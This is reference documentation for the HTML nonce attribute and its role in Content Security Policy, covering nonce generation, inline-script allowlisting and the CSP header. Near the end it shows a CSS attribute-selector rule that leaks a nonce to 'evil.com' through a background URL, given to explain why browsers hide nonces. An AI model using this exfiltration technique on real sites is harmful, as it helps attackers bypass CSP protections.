The nonce global attribute is a content attribute defining a cryptographic nonce ("number used once") which can be used by Content Security Policy to determine whether or not a given fetch will be allowed to proceed for a given element.

The nonce attribute is useful to allowlist specific elements, such as a particular inline script or style elements. It can help you to avoid using the CSP unsafe-inline directive, which would allowlist all inline scripts or styles.

There are a few steps involved to allowlist an inline script using the nonce mechanism:

Generating values

From your web server, generate a random base64-encoded string of at least 128 bits of data from a cryptographically secure random number generator. Nonces should be generated differently each time the page loads (nonce only once!). For example, in nodejs:

const crypto = require("crypto");
crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='

Allowlisting inline script

The nonce generated on your backend code should now be used for the inline script that you'd like to allowlist:

<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
  // …
</script>

Sending a nonce with a CSP header

Finally, you'll need to send the nonce value in a Content-Security-Policy header (prepend nonce-):

Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='

For security reasons, the nonce content attribute is hidden (an empty string will be returned).

script.getAttribute("nonce"); // returns empty string

The nonce property is the only way to access nonces:

script.nonce; // returns nonce value

Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data from content attributes like this:

script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

• HTMLElement.nonce
• Content Security Policy
• CSP: script-src